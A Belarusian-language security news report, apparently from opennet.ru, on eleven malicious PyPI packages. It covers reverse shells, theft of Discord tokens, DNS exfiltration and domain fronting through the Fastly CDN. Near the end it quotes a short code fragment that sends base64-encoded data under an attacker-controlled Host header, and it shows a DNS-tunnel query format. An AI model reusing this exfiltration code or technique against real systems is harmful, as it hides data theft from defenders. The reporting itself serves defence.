У каталогу PyPI выяўлены шкоднасныя бібліятэкі, якія выкарыстоўваюць CDN PyPI для ўтойвання канала сувязі.

У каталогу PyPI (Python Package Index) выяўлена 11 пакетаў, улучальных шкоднасны код. Да выяўлення праблем у суме пакеты паспелі загрузіць каля 38 тысяч разоў. Выяўленыя шкоднасныя пакеты характэрныя ўжываннем мудрагелістых спосабаў утойвання каналаў сувязі з серверамі зламыснікаў.

  • importantpackage (6305 загрузак), important-package (12897) — усталёўвалі злучэнне з вонкавым серверам пад выглядам падлучэння да pypi.python.org для падавання shell-доступу да сістэмы (reverse shell) і выкарысталі для ўтойвання канала сувязі праграму trevorc2.
  • pptest (10001), ipboards (946) – выкарыстоўвалі DNS у якасці канала сувязі для перадачы звестак аб сістэме (у першым пакеце імя хаста, працоўны каталог, унутраны і вонкавы IP, у ў другім – імя карыстальніка і хаста).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) – выяўлялі ў сістэме токен сэрвісу Discord і адпраўлялі на вонкавы хост.
  • trrfab (287) - адпраўляў на вонкавы хост ідэнтыфікатар, імя хаста і змесціва /etc/passwd, /etc/hosts, /home.
  • 10Cent10 (490) - усталёўваў зваротнае shell-злучэнне з вонкавым хастом.
  • yandex-yt (4183) - выводзіў паведамленне аб кампраметацыі сістэмы і перанакіроўваў на старонку з дадатковай інфармацыяй аб далейшых дзеяннях, якая выдаецца праз nda.ya.ru (api.ya.cc).

Асобнай увагі заслугоўвае метад звароту да знешніх хастаў, які выкарыстоўваецца ў пакетах importantpackage і important-package, якія выкарыстоўвалі для ўтойвання сваёй актыўнасці сетку дастаўкі кантэнту Fastly, якая прымяняецца ў каталогу PyPI. Фактычна запыты адпраўляліся на сервер pypi.python.org (у тым ліку, паказваючы імя python.org у SNI усярэдзіне запыту HTTPS), але пры гэтым у HTTP-загаловак «Host» выстаўлялася імя сервера, падкантрольнага атакавалым (sec.forward.io. global.prod.fastly.net). Сетка дастаўкі кантэнту накіроўвала падобны запыт на сервер атакавалых, выкарыстаючы пры перадачы дадзеных параметры TLS-злучэнні з pypi.python.org.

Праца інфраструктуры PyPI забяспечваецца з прыцягненнем сеткі дастаўкі кантэнту Fastly, у якой для кэшавання тыпавых запытаў выкарыстоўваецца празрысты проксі Varnish, а таксама прымяняецца апрацоўка TLS-сертыфікатаў на ўзроўні CDN, а не канчатковых сервераў, для арганізацыі пракіду HTTPS-запытаў праз проксі. Незалежна ад мэтавага хаста запыты накіроўваюцца ў проксі, які вызначае патрэбны хост па HTTP-загалоўку "Host", а даменныя імёны хастоў прывязваюцца да тыпавых для ўсіх кліентаў Fastly IP-адрасоў балансавальнікаў нагрузкі CDN.

Сервер атакавалых таксама рэгіструецца ў CDN Fastly, які дае ўсім жадаючым бясплатныя тарыфныя планы і нават дапускае ананімную рэгістрацыю. Характэрна, што для адпраўкі запытаў ахвяры пры стварэнні "reverse shell" выкарыстоўваецца таксама схема, але якая ініцыюецца з боку хаста зламыснікаў. З боку ўзаемадзеянне з серверам атакавалых выглядае як легітымны сеанс з каталогам PyPI, які шыфруецца з выкарыстаннем TLS-сертыфіката PyPI. Падобная тэхніка, вядомая пад імем «domain fronting», раней актыўна выкарыстоўвалася для ўтойвання імя хаста пры абыходзе блакіровак, выкарыстаючы якая прадстаўляецца ў некаторых CDN-сетках магчымасць звароту па HTTPS з указаннем у SNI фіктыўнага хаста і фактычнай перадачай імя запытанага хаста ў HTTP-загалоўку усярэдзіне TLS-сеансу.

У каталогу PyPI выяўлены шкоднасныя бібліятэкі, якія выкарыстоўваюць CDN PyPI для ўтойвання канала сувязі.

Для ўтойвання шкоднаснай актыўнасці дадаткова ўжываўся пакет TrevorC2, які дазваляе зрабіць узаемадзеянне з серверам падобным на звычайную web-навігацыю, напрыклад, шкоднасныя запыты адпраўляліся пад выглядам загрузкі выявы "https://pypi.python.org/images/guid=" з кадаваннем інфармацыі ў параметры guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

У пакетах pptest і ipboards ужываўся іншы падыход для ўтойвання сеткавай актыўнасці, заснаваны на кадаванні карыснай інфармацыі ў запытах да DNS-серверу. Шкоднаснае ПА перадае інфармацыю, выконваючы DNS-запыты выгляду "nu4timjagq4fimbuhe.example.com", у якіх пры дапамозе фармату base64 у імя паддамена закадаваныя перадаюцца на кіравальны сервер дадзеныя. Зламыснік прымае дадзеныя паведамлення, кантралюючы DNS-сервер для дамена example.com.

Крыніца: opennet.ru

Дадаць каментар